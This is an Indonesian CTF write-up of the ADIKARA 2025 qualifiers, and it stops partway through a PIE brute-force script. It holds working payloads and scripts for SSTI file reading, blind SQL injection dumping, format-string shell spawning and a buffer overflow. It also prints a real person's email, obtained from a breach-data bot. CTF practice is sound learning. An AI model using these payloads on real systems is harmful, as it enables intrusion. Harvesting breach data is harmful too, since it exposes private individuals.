---
# System prepended metadata

title: Write Up Penyisihan ADIKARA 2025 - muhammad sumbul

---

# Write Up Penyisihan ADIKARA 2025 - muhammad sumbul
by: Muhammad Meizar Salman

Category

<a href="#Misc"> Misc </a>
* <a href="#41"> 松本眞 </a>
* <a href="#42"> Sanity Check </a>
* <a href="#44"> Berputar </a>

<a href="#OSINT"> OSINT </a>
* <a href="#34"> December </a>
* <a href="#29"> W4nted </a>
* <a href="#22"> Atmin jalan jalan </a>

<a href="#Forensics"> Forensics </a>
* <a href="#13"> HEAVY </a>
* <a href="#21"> Neovim </a>

<a href="#Cryptography"> Cryptography </a>
* <a href="#37"> "Your duty is not over!" </a>
* <a href="#36"> sambal256 </a>

<a href="#Web-Exploit"> Web Exploit </a>
* <a href="#18"> Vegan Shop </a>
* <a href="#19"> Legal Shop </a>
* <a href="#20"> Party </a>
* <a href="#45"> ASIK </a>

<a href="#Pwn"> Pwn </a>
* <a href="#48"> Date </a>
* <a href="#46"> Pie shop </a>
* <a href="#49"> metamorfosis </a>

<a href="#Reverse-Engineering"> Reverse Engineering </a>
* <a href="#31"> Snake </a>



## <a id=Misc> Misc </a>

### <center><a id="41"> 松本眞 </a></center>
<center>100</center>
<center>matkul matematika kalian apa aja?

`author: archanist`</center>


diberikan file chall.py dan output.txt 
tujuan dari chall ini untuk nge-leak output MT19937 (Python random) lewat XOR.

Dari chall.py, 624 kali pertama itu:

`val = random.getrandbits(32)`
yang ditulis ke file adalah `kunci ^ val` dengan `kunci = bytes_to_long(b"days")` Jadi kita bisa balikin `val = (angka_di_file) ^ kunci `untuk 624 output MT.

Karena MT19937 butuh 624 output 32-bit untuk rekonstruksi state, kita bisa:
1. ambil 624 output asli (di-unxor)
2. lakukan untemper untuk dapet state internal MT
3. clone PRNG, prediksi output ke-625 (guess)
4. baris terakhir di `output.txt` adalah guess `^ bytes_to_long(flag) `  
jadi `flag = long_to_bytes(last_line ^ guess)`

saya pake script ini buat langsung solve:
```
import random
from Crypto.Util.number import bytes_to_long, long_to_bytes

MASK = 0xffffffff

def unshift_right_xor(y, shift):
    x = 0
    for i in range(32):
        bit = 31 - i
        yb = (y >> bit) & 1
        if bit + shift >= 32:
            xb = yb
        else:
            xb = yb ^ ((x >> (bit + shift)) & 1)
        x |= xb << bit
    return x

def unshift_left_xor_mask(y, shift, mask):
    x = 0
    for bit in range(32):
        yb = (y >> bit) & 1
        if bit - shift < 0:
            xb = yb
        else:
            if (mask >> bit) & 1:
                xb = yb ^ ((x >> (bit - shift)) & 1)
            else:
                xb = yb
        x |= xb << bit
    return x

def untemper(y):
    y = unshift_right_xor(y, 18)
    y = unshift_left_xor_mask(y, 15, 0xefc60000)
    y = unshift_left_xor_mask(y, 7, 0x9d2c5680)
    y = unshift_right_xor(y, 11)
    return y & MASK

kunci = bytes_to_long(b"days")

lines = open("output.txt","r").read().strip().splitlines()
enc_624 = [int(x) for x in lines[:-1]]
last = int(lines[-1])

# balikkan 624 output MT
outs = [(x ^ kunci) & MASK for x in enc_624]

# recover state MT
state = tuple(untemper(o) for o in outs)

# clone python random
clone = random.Random()
clone.setstate((3, (state + (624,)), None))

guess = clone.getrandbits(32)
flag_long = last ^ guess
print(long_to_bytes(flag_long))
```

![image](https://hackmd.io/_uploads/Hkn00zWX-e.png)





**Flag : ADIKARA25{riyal_or_fake_dikit-dikit_redacted}**

---

### <center><a id="42"> Sanity Check </a></center>
<center>100</center>
<center>mangat dah, sebenernya gw pengen maen adikara jg tapi dipaksa jadi probset. 

ceki ceki dulu ada free fleg

ADIKARA25{ig_orang_ganteng_@pauldenieel_wellcometoADIKARA25}</center>


**Flag : kalian bisa lihat sendiri lah ya flag orang keriting**

---

### <center><a id="44"> Berputar </a></center>
<center>100</center>
<center>Berputar putar~~ Gelombang Dunia

    
Author : `Cyrus`</center>

diberikan foto seperti berikut:
![WhatsApp Image 2025-12-18 at 13.30.38_49c693a4](https://hackmd.io/_uploads/rJKjy7bXbg.jpg)
dulu waktu saya SD udah belajar photoshop, jadi langsung tau kalau fotonya kayak gini tinggal di-twirl balik aja.
![image](https://hackmd.io/_uploads/HJL4eXZXZl.png)
![image](https://hackmd.io/_uploads/SkSve7-7-e.png)
terus tinggal dibalik balik aja
![image](https://hackmd.io/_uploads/r1M0emWm-e.png)


**Flag : ADIKARA25{4d4_y4n9_tr4um4_s4m4_1n1_g4_4wk0kwk0}**

---

## <a id=OSINT> OSINT </a>

### <center><a id="34"> December </a></center>
<center>190</center>
<center>My hacker friend sent me his home picture to build some tools, but I don't even know the exact location is.... help me to find the address plszz...

Format Flag: ADIKARA25{Number_StreetnameRoad}

`author: sn0wden`</center>

chall.png
![chall (1)](https://hackmd.io/_uploads/SJb5-m-XWl.png)
karena menurut saya foto ini tidak terlalu sulit untuk dicari, saya langsung minta gemini aja karena harusnya langsung ketemu sih.

![image](https://hackmd.io/_uploads/SyflGmW7We.png)
![image](https://hackmd.io/_uploads/HJ37MmbmWl.png)

diubah dikit penamaan nya
![image](https://hackmd.io/_uploads/S1nuM7ZQbx.png)


**Flag : ADIKARA25{3126_BuellSt}**

---

### <center><a id="29"> W4nted </a></center>
<center>400</center>
<center>Have you ever heard of the NotPetya malware? This person is one of the people spreading it, as I've heard they were once on the FBI's wanted list. Could you help me find their email address so I can investigate further?

**Warning: Never try to upload this challenge to the internet ;)**

`author: sn0wden`</center>

diberikan chall.pdf dengan isi biodata orang ini
![image](https://hackmd.io/_uploads/HJ1-7XWQbl.png)

kita diminta untuk cari email yang bersangkutan. yaudah tinggal cari pake bot breach data aja bjir

keyword: ANATOLIY SERGEYEVICH KOVALEV
![image](https://hackmd.io/_uploads/SkYdX7-7Ze.png)
![image](https://hackmd.io/_uploads/rkcq77-Q-l.png)


**Flag : ADIKARA25{kovalevanatoly@yandex.ru}**

---

### <center><a id="22"> Atmin jalan jalan </a></center>
<center>450</center>
<center>Atmint bersama atmint @Tyzals sedang jalan jalan, Makanannya keliatan enak, kira kira dimana yh...

flag: ADIKARA25{plus code}
contoh: ADIKARA25{2JGJ+J5}

`author: BbayuGt`</center>

chall.jpeg
![WhatsApp Image 2025-12-17 at 21.37.17_4aebf8db](https://hackmd.io/_uploads/SJWfNQWXZx.jpg)
foto gini doang mana bisa dicari langsung lewat reverse image jir. nanya AI juga udah pasti ngaco. akhirnya saya coba exiftool, strings, nanya probset nya langsung, setelah muter muter cukup lama akhirnya nemu bagian yang cukup penting dari metadata nya.

![image](https://hackmd.io/_uploads/HyqcrQW7Zx.png)

hint dari soalnya juga sangat membantu
![image](https://hackmd.io/_uploads/HJLyIQWXbl.png)

jadi langsung aja saya stalk akun ig kedua atmin ini (tyzals & bbayugt)
![image](https://hackmd.io/_uploads/SJQXI7-mWe.png)

cari postingan tanggal 27 agustus 2025. 
highlight @bbayugt.cpp (ini kalau di hp keliatan jelas kok tanggal posting nya)
![image](https://hackmd.io/_uploads/rywqL7-7Wl.png)

highlight @hbtwwwwww
![image](https://hackmd.io/_uploads/BJw7PmZ7-g.png)

> NOVOTEL BOGOR GOLF RESORT

![image](https://hackmd.io/_uploads/ryBKwQWQWl.png)

![image](https://hackmd.io/_uploads/BJ9jPXbXWx.png)

**Flag : ADIKARA25{9RWQ+8C}**

---

## <a id=Forensics> Forensics </a>

### <center><a id="13"> HEAVY </a></center>
<center>200</center>
<center>this file is 
# HEAVY

Can you lift this file? I bet you couldn't :3

I mean, don't even try :p

I warned you.

`author: BbayuGt`</center>

diberikan zip seperti ini. saya sudah tau pasti bahwa ini ZIP BOMB (nested zip) yang kalau di-extract sekali langsung meledak pc kentang kalian yang murah itu karena file aslinya besar.
![image](https://hackmd.io/_uploads/Bkwlum-XZx.png)

dalam DO NOT.zip ada anomali Fatso yang size nya kayak perut polisi (GENDUT)
![image](https://hackmd.io/_uploads/SJM_F7-XWg.png)

saya ambil 10MB pertama dari file Fatso siapa tau nemu flag.
└─$ unzip -p DO\ NOT.zip Fatso | head -c 10M > part.bin                           
abis itu langsung grep ajah
└─$ strings part.bin | grep -E "FLAG|CTF|ADIKARA"
![image](https://hackmd.io/_uploads/Bykx9XWmbe.png)






**Flag : ADIKARA25{z1p_z4p_b0mb3d_1-h0p3_y0u_d0n't-tr7-t0_3xtr@c7_th1$}**

---

### <center><a id="21"> Neovim </a></center>
<center>270</center>
<center>I use neovim, btw.

`author: bbayugt`</center>

diberi file chall.pcapng dan dari nama soal saja sudah jelas ini mencari input keyboard dari traffic yang sudah tercapture. jadi langsung sajah kita buka wireshark

menggunakan filter `usb.transfer_type == 0x01` 
![image](https://hackmd.io/_uploads/Hkj9o7-mWx.png)

yang kita cari tuh adalah packet data HID (Human Interface Device)
![image](https://hackmd.io/_uploads/Bkwz3QZQWe.png)

ini kan ada banyak request nya jadi ga mungkin satu satu.  jadi saya export semua data ini terus convert ke plain text (File → Export Packet Dissections → As Plain Text)

lalu file nya langsung lempar aja ke gpt
![image](https://hackmd.io/_uploads/r11xpXbmbx.png)
![image](https://hackmd.io/_uploads/rJIz67bXZx.png)


**Flag : ADIKARA25{d1d_y0u_l1st3n_t0_m7_k3yb04rd_input???_goodJOB!!}**

---

## <a id=Cryptography> Cryptography </a>

### <center><a id="37"> "Your duty is not over!" </a></center>
<center>220</center>
<center>One-Shot GPT(?) - harusnya...

Author : `Tyzals`</center>
diberikan chall1.sage & output.txt
sesuai deskripsi, langsung lempar saja ke AI
![image](https://hackmd.io/_uploads/H1hy0F-QZl.png)


solver.sage
```
from sage.all import *
from Crypto.Util.number import long_to_bytes

def solve():
    # 1. Konfigurasi
    # Presisi input adalah 1024 bit (~308 digit). 
    # Kita set presisi kalkulasi sedikit lebih tinggi.
    R = RealField(2048)
    
    # Load output (Pastikan nama file sesuai)
    try:
        with open("output (23).txt", "r") as f:
            output_str = f.read().strip()
    except FileNotFoundError:
        print("[-] File 'output (23).txt' tidak ditemukan. Pastikan file ada di folder yang sama.")
        return

    # Parse nilai S
    S = R(output_str)
    
    # 2. Hitung parameter Lattice
    # Persamaan: K - n*pi - alpha = error
    pi_val = R.pi()
    alpha = S.arctan()
    
    # PENTING: Penyesuaian Scale
    # Kita set scale agar sebanding dengan presisi input (10^308).
    # Jika scale terlalu besar, LLL akan gagal menemukan K yang benar.
    scale = 10**320 

    # 3. Konstruksi Matriks Lattice
    # Basis:
    # v1 = (1, 0, scale)          -> mewakili K
    # v2 = (0, 1, -scale * pi)    -> mewakili n
    # v3 = (0, 0, -scale * alpha) -> mewakili konstanta
    L = Matrix(ZZ, [
        [1, 0, int(scale)],
        [0, 1, int(-scale * pi_val)],
        [0, 0, int(-scale * alpha)]
    ])

    print("[*] Menjalankan LLL Reduction dengan scale 10^320...")
    reduced_L = L.LLL()

    print("[+] Selesai. Memeriksa hasil...")

    # 4. Cari Flag
    flag_found = False
    for i, row in enumerate(reduced_L):
        # Nilai K adalah elemen pertama dari vektor
        k_candidate = abs(row[0])
        
        # Coba konversi ke bytes
        try:
            dec = long_to_bytes(k_candidate)
            
            # Cek apakah diawali prefix yang diketahui
            if b"ADIKARA" in dec:
                print(f"\n[SUCCESS] Flag Ditemukan pada baris {i}:")
                print(dec.decode())
                flag_found = True
                break
            
            # Debug: print kandidat lain yang terlihat seperti teks
            elif b"{" in dec or len(dec) > 10:
                 # Hanya print jika sebagian besar karakter bisa diprint
                 if all(32 <= x <= 126 for x in dec[:10]):
                     print(f"[?] Kandidat potensial (Baris {i}): {dec}")
        except:
            pass

    if not flag_found:
        print("[-] Flag belum terdeteksi otomatis. Coba variasi scale lain (misal 10**310 atau 10**330).")

if __name__ == "__main__":
    solve()
```
![image](https://hackmd.io/_uploads/SJTXRFZXWe.png)

**Flag : ADIKARA25{introoo_too_sagemath_aokwaokwao}**

---

### <center><a id="36"> sambal256 </a></center>
<center>320</center>
<center>dompet kripto anti hengker, dikunci dengan racikan hashing sambal256 (sambal bangkok). katanya sih pedes manis, tapi tenggorokan was-was.  walau katanya mengandung 777 khasiat.


Author : `Tyzals`

Format Flag : `ADIKARA25{recover_priv_key}`

contoh:  `ADIKARA25{0xc0ffxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}`
</center>

chall.zip ada 3 file
![image](https://hackmd.io/_uploads/Hk4f1cZXbl.png)

analisa sederhana:
pada `sambal_wallet.py` ada function `generate_signature()`
```
slice_size = int(C * (10 ** (77 - (nonce_seed - (nonce_seed // divisor) * divisor))))
mn = slice_size if slice_size >= 2 else 2
k = random.randint(1, mn - 1)
```
1. Rumus slice_size: Bagian (nonce_seed - (nonce_seed // divisor) * divisor) sebenarnya hanyalah operasi Modulo (nonce_seed % divisor).
2. Nilai: divisor adalah 30. Jadi `nonce_seed % 30 `akan menghasilkan angka antara 0 sampai 29.
3. Dampak pada mn (Max Nonce):Eksponen menjadi $77 - (pk \pmod{30})$.
	* Jika $(pk \pmod{30})$ bernilai besar (misal 29), maka eksponen menjadi $77 - 29 = 48$.
	* mn menjadi sekitar $10^{48}$ (kira-kira $2^{159}$).
4. Kesimpulan: Kurva Secp256k1 memiliki order $N \approx 2^{256}$. Karena nonce $k$ yang dihasilkan jauh lebih kecil ($2^{159}$) daripada order kurva ($2^{256}$), kita memiliki kebocoran sekitar 96 bit per tanda tangan.

Jadi, dengan mengumpulkan beberapa signatures (kita punya 10 di bumbu.json), kita bisa menggunakan Lattice Reduction (algoritma LLL) untuk memulihkan Private Key.

Disini saya memakai sageMath untuk nge solve nya karena kita butuh operasi matriks dan LLL yang presisi

**solve.sage**
```
import json
import sys
# Pastikan sambal_wallet.py ada di folder yang sama
from sambal_wallet import sambal_enc, hash as sambal_hash

# --- KONFIGURASI SECP256K1 ---
# Prime Field (P)
P = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
# Order of the Curve (N)
N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

# Definisikan Field dan Kurva dengan benar di SageMath
F = GF(P)
E = EllipticCurve(F, [0, 7])
# Generator Point (G)
Gx = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798
Gy = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8
G = E(Gx, Gy)

def get_hash(idx):
    """Rekonstruksi hash pesan (z)"""
    types = ["string", "uint256"]
    values = [f"tx{idx}", idx]
    rh = sambal_enc(types, values)
    return sambal_hash(rh)

def solve():
    # 1. Load Transaksi
    try:
        with open("bumbu.json", "r") as f:
            txs = json.load(f)
    except FileNotFoundError:
        print("[-] File 'bumbu.json' tidak ditemukan.")
        return

    # 2. Siapkan data untuk Lattice
    sigs = []
    print("[*] Membaca signature dan menghitung hash...")
    for i, tx in enumerate(txs):
        r = int(tx['r'], 16)
        s = int(tx['s'], 16)
        h = get_hash(i) 
        sigs.append((r, s, h))

    # 3. Konfigurasi Lattice (HNP)
    # Bound B: Kita tahu nonce k < 10^48 (sekitar 159 bits)
    # Order N adalah 256 bits.
    B = 10**48 
    m = len(sigs)
    
    # Matriks Lattice
    matrix_size = m + 2
    M = Matrix(QQ, matrix_size, matrix_size)

    # Isi Matriks
    # Baris 0..m-1 untuk modulus N
    for i in range(m):
        r, s, h = sigs[i]
        
        # t = r * s^-1 mod N
        # u = h * s^-1 mod N
        # Persamaan: k - t*d - u = 0 (mod N)
        
        s_inv = inverse_mod(s, N)
        t = (r * s_inv) % N
        u = (h * s_inv) % N
        
        M[i, i] = N
        M[m, i] = t
        M[m+1, i] = u

    # Setup Bobot
    M[m, m] = B / N      # Variable d (Private Key)
    M[m+1, m+1] = B      # Konstanta (Bias)

    print("[*] Menjalankan LLL (Lattice Reduction)...")
    L = M.LLL()

    # 4. Cari Private Key
    print("[*] Mencari kandidat private key...")
    
    # Faktor bobot untuk mengembalikan nilai asli
    weight = B/N
    
    # Ambil data pembanding dari tx pertama untuk verifikasi
    r0, s0, h0 = sigs[0]

    for row in L:
        # Ambil elemen di kolom 'd'
        potential_val = row[m]
        
        # Reverse scaling (hilangkan bobot)
        recovered_d = abs(round(potential_val / weight))
        
        if recovered_d == 0 or recovered_d >= N:
            continue
            
        try:
            # Verifikasi 1: Cek Public Key (r-coordinate)
            # Pub = d * G
            Pub = recovered_d * G
            
            # Pub.xy()[0] mengembalikan elemen field, ubah ke integer
            if int(Pub.xy()[0]) == r0:
                print(f"\n[+] PRIVATE KEY DITEMUKAN (Match r)!")
                print(f"Decimal: {recovered_d}")
                print(f"Hex    : {hex(recovered_d)}")
                print(f"\nFlag   : ADIKARA25{{{hex(recovered_d)}}}")
                return

            # Verifikasi 2: Hitung ulang k dan Cek Point R
            # k = s^-1 * (h + r*d) mod N
            k_try = (inverse_mod(s0, N) * (h0 + r0 * recovered_d)) % N
            R_try = k_try * G
            
            if int(R_try.xy()[0]) == r0:
                print(f"\n[+] PRIVATE KEY DITEMUKAN (Match Calc)!")
                print(f"Decimal: {recovered_d}")
                print(f"Hex    : {hex(recovered_d)}")
                print(f"\nFlag   : ADIKARA25{{{hex(recovered_d)}}}")
                return
                
        except Exception as e:
            continue

    print("[-] Gagal menemukan key. Coba tweak nilai B atau cek data.")

if __name__ == "__main__":
    solve()
```
![image](https://hackmd.io/_uploads/B1kCg5Z7Wg.png)


**Flag : ADIKARA25{0x5469aed116df1ee0496645b51700cef1cbc3fec7772f3d078060cc26256                                                                                c7b18}**

---

## <a id=Web-Exploit> Web Exploit </a>

### <center><a id="18"> Vegan Shop </a></center>
<center>280</center>
<center>Mau cari sayur apa om?

`author: archanist`</center>

https://pasar-sayur-segar.chall.adikara.online/

diberikan sebuah website dan chall.zip yang berisi source code nya.
![image](https://hackmd.io/_uploads/SJbdnP-QWe.png)

setelah source code nya dianalisa, ada yang menarik di function search()
```
search_template = '''
<div class="result-info">
    <h3>''' + template_msg + '''</h3>
...
'''

render_template_string(search_template)
```
* template_msg mengandung query user
* lalu dirender ulang oleh Jinja

jadi sudah fix ini bug SSTI.

tapi ada beberapa kata yang di-blacklist
```
blacklist = ["%", "\\", "/", "\"", "'", "`", "|", " ", "[", "]", "+",
             "init", "subprocess", "globlas", "config", "update",
             "mro", "subclasses", "class", "base", "builtins", ...]
```
ini tidak akan menjadi masalah karena:
*  globals TIDAK diblok (yang diblok typo: globlas)
*  _ boleh
*  . boleh
*  method call boleh
*  __getitem__ boleh
*  request.args TIDAK difilter
*  filter hanya cek query, BUKAN URL args

saya minta tolong gpt buat bikin payload one shot nya.
`{{url_for.__globals__.__getitem__(request.args.b).__getitem__(request.args.o)(request.args.p).read()}}`

payload ini kalau dikirim lewat fitur search webnya tidak akan bisa. makanya kirim lewat curl
```
curl -k -X POST "https://pasar-sayur-segar.chall.adikara.online/search?b=__builtins__&o=open&p=/flag.txt" ^```
-H "Content-Type: application/x-www-form-urlencoded" ^
--data "query={{url_for.__globals__.__getitem__(request.args.b).__getitem__(request.args.o)(request.args.p).read()}}"
```

![image](https://hackmd.io/_uploads/Hkioy_WQbx.png)

**Flag : ADIKARA25{cukurukempokjeru_qddjcvbiufuf23333}**

---

### <center><a id="19"> Legal Shop </a></center>
<center>320</center>
<center>Mendingan kualitas atau kuantitas?

`author: archanist`</center>

https://legalsnack.chall.adikara.online/ dan chall.zip
saya langsung lempar source code nya ke gpt biar  dia yang analisa karena saya MALAS.
langsung ketemu bug nya
```
if any(item.product.name == 'Elite Hacker Snack' for item in order.items):
    return render_template(
        'order_confirmation.html',
        order=order,
        flag=os.environ.get('FLAG', 'itdays25{lmao_flag}')
    )
```
BUSINESS LOGIC / PRICE MANIPULATION
	Exploit Strategy (INTI WRITE-UP)
1. Tambahkan Elite Hacker Snack (mahal)
2. Tambahkan item murah paling murah dengan quantity negatif (change post request pake caido)
3. Total jadi kecil tapi order tetap mengandung Elite Hacker Snack
![image](https://hackmd.io/_uploads/HyAnGdZXWg.png)
4. Checkout → flag keluar
![image](https://hackmd.io/_uploads/S1F_M_bm-g.png)


**Flag : ADIKARA25{t00_345y_15nt_1ttttttttttttt?}**

---

### <center><a id="20"> Party </a></center>
<center>350</center>
<center>This is a cool software that I found on the internet, I used it in my older project though, check them out!</center>

https://party.chall.adikara.online & chall.zip

source code saya lempar gpt. hasil analisa:
* Root volume / = public RW 
* Semua isi (a/, hack_*, hacker_*, flag.txt) adalah buatan user 
* Flag challenge TIDAK disimpan di volume public
* Jadi ZIP / WebDAV / ls biasa TIDAK AKAN PERNAH nunjukin flag

bug nya ada di INFO LEAK + DEBUG FEATURE copyparty → baca file arbitrary di container lewat endpoint internal. buktinya adalah kita bisa akses /?stack. ini sudah cukup.

dan karena versi yang udah usang, exploit nya ada di google dengan keyword **CVE-2023-37474** yang intinya ada path traversal di sub-directory /.cpr/

https://party.chall.adikara.online/.cpr/%2Fapp%2Fflag.txt
![image](https://hackmd.io/_uploads/rkOUHdZ7Wx.png)



**Flag : ADIKARA25{c0pyp@rty_15_n0t_p4rty1n9_24c58ce0895d218aa1c638d73733e64f}**

---

### <center><a id="45"> ASIK </a></center>
<center>500</center>
<center>bedanya hengker, DipeSer, sama Skrip kidi keliatan di challange ini.

contoh DipESer: https://asik.chall.adikara.online/admin/hubungi.php

`author: Tyzals`
</center>

![image](https://hackmd.io/_uploads/SJQCBOZX-x.png)

ini adalah tampilan utama website nya. terdapat beberapa menu seperti login admin, form untuk hubungi mereka, dan cek kelulusan berdasarkan ID.
Saya awalnya fokus pada menu "Hubungi Kami"
![image](https://hackmd.io/_uploads/r1yXL_WXWx.png)
saya pikir bug nya ada di stored xss dan ada bot admin yang menunggu payload dikirim. Saya sempet nunggu berjam jam buat dapetin cookie dari admin nya tapi ga nemu apa apa. akhirnya saya pindah endpoint jadi ke halaman utama, yaitu fitur cek kelulusan.

saya coba tes SQLI gabisa. akhirnya tanya gpt dia saranin pake query BLIND SQLI
**' OR '1'='1**
![image](https://hackmd.io/_uploads/rJAiIO-7-x.png)
payload berhasil tereksekusi. di sini saya sempet stuck mau ngapain karena gaada apa apa lagi. panitia juga tidak memperbolehkan kami untuk memakai tools automatisasi seperti SQLMAP, GHAURI, DLL. tapi akhirnya saya membuat script automatisasi saya sendiri dengan payload blind sqli yang tentunya lebih ringan karena menggunakan query sederhana dan spesifik

![image](https://hackmd.io/_uploads/H1x_25WX-g.png)

ini payload final setelah saya dapet nama database, table, dan kolom (dicari satu satu bang aseli)

blind.py
```
import requests
import time
import sys

# --- KONFIGURASI ---
URL = "https://asik.chall.adikara.online/index.php?page=searchno"
SUCCESS_INDICATOR = 'btn-primary">Cetak' 

# Target Tabel & Kolom
TARGET_TABLE = "tbl_user"
TARGET_COLS = ["username"] # Kita ambil username 
# --- FUNGSI ---
def check_boolean(payload):
    data = {'noujian': payload, 'SUBMIT': 'Cek Status'}
    for i in range(3): 
        try:
            r = requests.post(URL, data=data, timeout=20)
            if SUCCESS_INDICATOR in r.text: return True
            return False
        except: 
            time.sleep(1)
            # print(" [Retry] ", end='') # Uncomment kalau mau liat log retry
    return False

def get_length(query):
    # Cek panjang data (biasanya password md5 32 char, atau user biasa)
    # Kita set range agak jauh biar aman (sampai 100 char)
    for i in range(1, 100):
        if check_boolean(f"x' OR (LENGTH(({query})) = {i})-- -"):
            return i
        sys.stdout.write(f"\r[~] Cek panjang: {i}")
        sys.stdout.flush()
    return None

def extract_data(query):
    length = get_length(query)
    if not length: return None
    print(f" -> Panjang: {length}. Decoding...", end='')
    
    val = ""
    for pos in range(1, length + 1):
        low, high = 32, 126
        while low <= high:
            mid = (low + high) // 2
            if check_boolean(f"x' OR (ASCII(SUBSTRING(({query}), {pos}, 1)) > {mid})-- -"):
                low = mid + 1
            else:
                high = mid - 1
        val += chr(low)
        sys.stdout.write(chr(low))
        sys.stdout.flush()
    return val

# --- EKSEKUSI: DUMP DATA TBL_USER ---
print(f"\n{'='*50}")
print(f"DUMPING DATA: {TARGET_TABLE}")
print(f"Kolom: {', '.join(TARGET_COLS)}")
print(f"{'='*50}")

offset = 0
while True:
    print(f"\n[+] Data Row ke-{offset+1}...", end='')
    
    # Query: SELECT CONCAT_WS(' : ', username, pass) FROM tbl_user LIMIT offset,1
    # Kita pakai CONCAT_WS biar ada pemisah ':' antara username dan password
    col_selector = f"CONCAT_WS(' : ', {', '.join(TARGET_COLS)})"
    query = f"SELECT {col_selector} FROM {TARGET_TABLE} LIMIT {offset},1"
    
    result = extract_data(query)
    
    if not result:
        print("\n\n[-] Selesai. Data habis.")
        break
    
    print(f" [OK]")
    print(f"    >>> HASIL: {result}")
    
    offset += 1

print("="*50)
```


**Flag : ADIKARA25{Njayyy_R1ll_Hangker_Cokkkkk}**

---

## <a id=Pwn> Pwn </a>

### <center><a id="48"> Date </a></center>
<center>310</center>
<center>get the current date.

`author: archanist`</center>

diberikan file chall. dan ncat --ssl date.chall.adikara.online 443
analisis cepat:
1. Kode program menggunakan fungsi printf(buffer) secara langsung untuk mencetak input user tanpa format specifier (seharusnya printf("%s", buffer)). Hal ini memungkinkan user memasukkan karakter format string seperti %x, %p, atau %n yang akan dieksekusi oleh printf
2. **Attack Vector (Celah Serangan)**
Vulnerability: Format String (CWE-134).
Target: Terdapat variabel global bernama command (alamat 0x404060) yang secara default berisi string "date".
Execution: Variabel ini kemudian diteruskan ke fungsi system(command).

3. **Exploitation Logic (Logika Eksploitasi)**
Tujuannya adalah mengubah isi variabel command dari "date" menjadi "sh" agar program memberikkan akses shell.

solver.py (disini saya udah tau offset nya 6)
```
from pwn import *

HOST = "date.chall.adikara.online"
PORT = 443

context.arch = "amd64"
context.log_level = "info"

CMD = 0x404060  # global 'command' dari binary non-PIE kamu

def run(off):
    io = remote(HOST, PORT, ssl=True, sni=HOST)

    # baca prompt kalau ada
    io.recvuntil(b"Enter your name:", timeout=2)

    # biarin pwntools yang split jadi %hn/%hhn tanpa overlap
    payload = fmtstr_payload(off, {CMD: b"/bin/sh\x00"}, write_size="short")
    io.sendline(payload)

    # kalau sukses, setelah ini program jalan:
    # puts(...) lalu system(command) -> system("/bin/sh")
    # coba tes cepat
    io.sendline(b"id")
    out = io.recvrepeat(1.0)
    if b"uid=" in out:
        log.success(f"Shell OK at offset {off}")
        io.interactive()
    else:
        log.warning(f"Offset {off} no shell (got: {out!r})")
        io.close()

if __name__ == "__main__":
    # karena dari leak kamu input mulai di %6$p, offset biasanya dekat-dekat situ
    for off in range(6, 25):
        try:
            log.info(f"Trying offset {off} ...")
            run(off)
        except EOFError:
            log.warning(f"Offset {off} EOF")
        except Exception as e:
            log.warning(f"Offset {off} error: {e}")
```


![image](https://hackmd.io/_uploads/Bk6z3cWmWl.png)


**Flag : ADIKARA25{th15_15_5upp0553d_t0_b3_34sy_r1ght80f4eb9b761f3d009d3bf5f37a868897}**

---

### <center><a id="46"> Pie shop </a></center>
<center>360</center>
<center>I've just opened my PIE shop, would you like to visit?

`author: archanist`</center>

diberikan file chall dan ncat pieshop.chall.adikara.online 443 --ssl

challenge ini adalah binary PIE enabled yang punya buffer overflow di fitur custom order.
Tujuan kita: redirect control flow ke fungsi tersembunyi (secret menu / win).

Proteksi yang aktif:
* NX
* PIE

Karena PIE aktif, alamat fungsi selalu berubah setiap run → harus ditebak / dibocorkan.

Di menu “Custom Order”, program membaca input tanpa batas panjang ke buffer stack.

berarti kita bisa overflow buffer & overwrite return address (RIP).
Tapi Karena PIE, kita tidak tahu alamat win function secara pasti

Solusinya: bruteforce PIE (low 16 bit)

pie.py
```
import socket, ssl, struct, time

HOST = "pieshop.chall.adikara.online"
PORT = 443

def make_ssl():
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    return ctx

def read_for(s, seconds=2.5):
    end = time.time() + seconds
    data = b""
    s.settimeout(0.2)
    while time.time() < end:
        try:
            chunk = s.recv(8192)
            if not chunk:
                # EOF
                break
            data += chunk
        except:
            pass
        time.sleep(0.01)
    return data

def recvuntil(s, token=b"> ", max_seconds=3.0):
    data = b""
    end = time.time() + max_seconds
    s.settimeout(0.2)
    while time.time() < end and token not in data:
        try:
            chunk = s.recv(8192)
            if not chunk:
                break
            data += chunk
        except:
            pass
        time.sleep(0.01)
    return data

def setup_underflow(s):
    recvuntil(s, b"> ")
    s.sendall(b"1\n")
    recvuntil(s, b"(yes/no) > ")
    s.sendall(b"no\n")

    recvuntil(s, b"> ")
    s.sendall(b"2\n")

    recvuntil(s, b"> ")
    s.sendall(b"1\n")
    recvuntil(s, b"(yes/no) > ")
    s.sendall(b"yes\n")

    recvuntil(s, b"> ")
    s.sendall(b"3\n")  # secret menu

def attempt(low16):
    ctx = make_ssl()
    sock = socket.create_connection((HOST, PORT), timeout=5)
    s = ctx.wrap_socket(sock, server_hostname=HOST)

    full = b""
    try:
        setup_underflow(s)
        full += read_for(s, 0.6)

        # custom order + overflow (newline + 87 pad + 2 bytes = 90 bytes)
        payload = b"\n" + b"A"*87 + struct.pack("<H", low16)
        s.sendall(b"3\n" + payload)

        # tunggu balik ke prompt secret menu
        full += recvuntil(s, b"> ", 2.0)

        # trigger ret
        s.sendall(b"4\n")

        # baca agak lama, biar keburu lihat output win kalau ada
        full += read_for(s, 3.0)

        return full
    finally:
        try: s.close()
        except: pass

# kandidat low16 (win low16 = base_low16 + 0x1289)
cands = [((0x1289 + i*0x1000) & 0xffff) for i in range(16)]

# ulangi beberapa putaran (PIE berubah tiap koneksi, jadi ini normal)
for round_idx in range(1, 21):
    print(f"\n===== ROUND {round_idx} =====")
    for low16 in cands:
        out = attempt(low16)
        text = out.decode(errors="ignore")
        low = out.lower()

        hit = (b"ingredient" in low) or (b"flag" in low) or (b"you tried a few times huh" in low)
        print(f"[{hex(low16)}] hit={hit} bytes={len(out)}")

